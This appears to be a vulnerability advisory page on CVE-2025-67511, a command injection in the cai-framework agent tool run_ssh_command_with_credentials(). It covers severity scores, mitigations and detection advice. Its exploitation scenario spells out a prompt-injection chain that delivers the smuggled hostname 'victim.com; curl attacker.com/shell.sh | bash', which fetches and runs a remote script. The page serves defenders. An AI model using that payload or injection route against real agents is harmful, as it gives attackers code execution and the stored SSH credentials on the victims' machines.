CVE-2025-67511: cai-framework: Command Injection enables RCE

Q: Is CVE-2025-67511 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2025-67511, increasing the risk of exploitation.

Q: How to fix CVE-2025-67511?

1. IMMEDIATE: Audit pip environments for cai-framework <= 0.5.9 across all systems. Run: pip show cai-framework. 2. WORKAROUND: Disable or remove run_ssh_command_with_credentials() from agent tool definitions if you cannot remove the package. Add input validation or allowlisting for username (alphanumeric only), host (IP/FQDN regex), and port (numeric 1-65535) at the wrapper level. 3. PATCH: Monitor the upstream commit 09ccb6e0baccf56c40e6cb429c698750843a999c and GHSA-4c65-9gqf-4w8h for an official release — the fix exists in source but has not been packaged. 4. DETECTION: Alert on anomalous process execution spawned by the CAI agent process. Look for shell metacharacters (;, |, &, $, backticks) in SSH connection parameters logged by the framework. 5. CONTAINMENT: Run CAI agents in isolated containers with restricted outbound network and minimal host privileges (no root, no credential store access).

Q: What systems are affected by CVE-2025-67511?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, security automation pipelines, AI-driven offensive security tools, CI/CD with AI-assisted testing.

Q: What is the CVSS score for CVE-2025-67511?

CVE-2025-67511 has a CVSS v3.1 base score of 9.6 (CRITICAL). The EPSS exploitation probability is 2.02%.

GHSA-4c65-9gqf-4w8hCRITICALPoC AVAILABLECISA: ATTEND

Published December 11, 2025

CISO Take

If your security operations team is using the CAI framework (cai-framework pip package <= 0.5.9), stop using it for automated SSH operations immediately — there is no official patch available. The critical risk here is a prompt injection chain: an adversary tricks the AI agent into calling the vulnerable SSH function with injected username/host/port values, achieving arbitrary command execution on the host running your security tooling. Verify your pip environment and pin or remove the package until a patched version ships.

What is the risk?

CVSS 9.6 Critical with network attack vector, zero privileges required, and low complexity makes this highly exploitable against any exposed CAI agent instance. The absence of a patch compounds the risk. Mitigating factor: EPSS 0.00158 indicates low current exploitation in the wild, and exploitation requires user interaction or agent invocation. However, the target is a security automation framework — compromise of a defensive security tool has amplified blast radius, as these systems typically hold credentials and have privileged access to production infrastructure.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
cai-framework	pip	<= 0.5.9	No patch
cybersecurity_ai	—	—	No patch

How severe is it?

CVSS 3.1

9.6 / 10

EPSS

2.0%

chance of exploitation in 30 days

Higher than 81% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Moderate

Exploitation Confidence

medium

○CISA SSVC: Public PoC

○Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVNetwork

ACLow

PRNone

UIRequired

SChanged

CHigh

IHigh

AHigh

What should I do?

5 steps

IMMEDIATE
Audit pip environments for cai-framework <= 0.5.9 across all systems. Run: pip show cai-framework.
WORKAROUND
Disable or remove run_ssh_command_with_credentials() from agent tool definitions if you cannot remove the package. Add input validation or allowlisting for username (alphanumeric only), host (IP/FQDN regex), and port (numeric 1-65535) at the wrapper level.
PATCH
Monitor the upstream commit 09ccb6e0baccf56c40e6cb429c698750843a999c and GHSA-4c65-9gqf-4w8h for an official release — the fix exists in source but has not been packaged.
DETECTION
Alert on anomalous process execution spawned by the CAI agent process. Look for shell metacharacters (;, |, &, $, backticks) in SSH connection parameters logged by the framework.
CONTAINMENT
Run CAI agents in isolated containers with restricted outbound network and minimal host privileges (no root, no credential store access).

What does CISA's SSVC say?

DecisionAttend

Exploitationpoc

AutomatableNo

Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code ExecutionPrompt InjectionAgentFrameworkAML.T0011.002- Poisoned AI Agent Tool AML.T0049- Exploit Public-Facing Application AML.T0050- Command and Scripting Interpreter AML.T0051.001- Indirect AML.T0053- AI Agent Tool Invocation AML.T0072- Reverse Shell AML.T0080- AI Agent Context Poisoning

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 15-Accuracy, robustness and cybersecurityArticle 15-Accuracy, Robustness and Cybersecurity

ISO 42001

8.4-AI system operation and monitoringA.9.3-AI System Security Testing

NIST AI RMF

GOVERN-1.7-Processes for decommissioning and oversight of AI systemsGV-6.2-AI System Security PracticesMANAGE-2.4-Residual risks are managedMS-2.5-Risks from Third-Party AI Software and Dependencies

OWASP LLM Top 10

LLM01-Prompt InjectionLLM06-Excessive AgencyLLM07-Insecure Plugin DesignLLM08-Excessive Agency

Frequently Asked Questions

What is CVE-2025-67511?

Is CVE-2025-67511 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2025-67511, increasing the risk of exploitation.

How to fix CVE-2025-67511?

1. IMMEDIATE: Audit pip environments for cai-framework <= 0.5.9 across all systems. Run: pip show cai-framework. 2. WORKAROUND: Disable or remove run_ssh_command_with_credentials() from agent tool definitions if you cannot remove the package. Add input validation or allowlisting for username (alphanumeric only), host (IP/FQDN regex), and port (numeric 1-65535) at the wrapper level. 3. PATCH: Monitor the upstream commit 09ccb6e0baccf56c40e6cb429c698750843a999c and GHSA-4c65-9gqf-4w8h for an official release — the fix exists in source but has not been packaged. 4. DETECTION: Alert on anomalous process execution spawned by the CAI agent process. Look for shell metacharacters (;, |, &, $, backticks) in SSH connection parameters logged by the framework. 5. CONTAINMENT: Run CAI agents in isolated containers with restricted outbound network and minimal host privileges (no root, no credential store access).

What systems are affected by CVE-2025-67511?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, security automation pipelines, AI-driven offensive security tools, CI/CD with AI-assisted testing.

What is the CVSS score for CVE-2025-67511?

CVE-2025-67511 has a CVSS v3.1 base score of 9.6 (CRITICAL). The EPSS exploitation probability is 2.02%.

What is the AI security impact?

Affected AI Architectures

agent frameworkssecurity automation pipelinesAI-driven offensive security toolsCI/CD with AI-assisted testing

MITRE ATLAS Techniques

AML.T0011.002Poisoned AI Agent Tool

AML.T0049Exploit Public-Facing Application

AML.T0050Command and Scripting Interpreter

AML.T0051.001Indirect

AML.T0053AI Agent Tool Invocation

AML.T0072Reverse Shell

AML.T0080AI Agent Context Poisoning

Compliance Controls Affected

EU AI Act: Art. 15, Article 15

ISO 42001: 8.4, A.9.3

NIST AI RMF: GOVERN-1.7, GV-6.2, MANAGE-2.4, MS-2.5

OWASP LLM Top 10: LLM01, LLM06, LLM07, LLM08

What are the technical details?

Original Advisory

Cybersecurity AI (CAI) is an open-source framework for building and deploying AI-powered offensive and defensive automation. Versions 0.5.9 and below are vulnerable to Command Injection through the run_ssh_command_with_credentials() function, which is available to AI agents. Only password and command inputs are escaped in run_ssh_command_with_credentials to prevent shell injection; while username, host and port values are injectable. This issue does not have a fix at the time of publication.

Exploitation Scenario

An adversary conducting a penetration test or red team engagement using CAI >= 0.5.9 targets a security operations team also running CAI. Step 1: Attacker crafts a malicious target hostname — e.g., 'victim.com; curl attacker.com/shell.sh | bash' — and delivers it through a channel the victim's CAI agent will process (phishing lure, poisoned scan target list, or indirect prompt injection via agent context). Step 2: The CAI agent invokes run_ssh_command_with_credentials() with the attacker-controlled host value. Step 3: Because host is not sanitized, the shell executes both the SSH command and the injected payload. Step 4: Attacker achieves RCE on the machine running the security team's AI agent, potentially inheriting all stored SSH credentials and access to internal networks the agent was managing.

Weaknesses (CWE)

CWE-77Improper Neutralization of Special Elements used in a Command ('Command Injection')Primary CWE-77Improper Neutralization of Special Elements used in a Command

CWE-77 — Improper Neutralization of Special Elements used in a Command ('Command Injection'): The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Implementation] If possible, ensure that all external commands called from the program are statically created.

Source: MITRE CWE corpus.